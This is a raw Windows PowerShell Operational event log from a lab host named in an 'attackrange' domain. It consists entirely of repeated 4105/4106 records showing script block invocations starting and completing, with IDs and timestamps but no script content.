Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041591
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041590
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041574
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041573
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041567
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041545
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041543
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041542
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
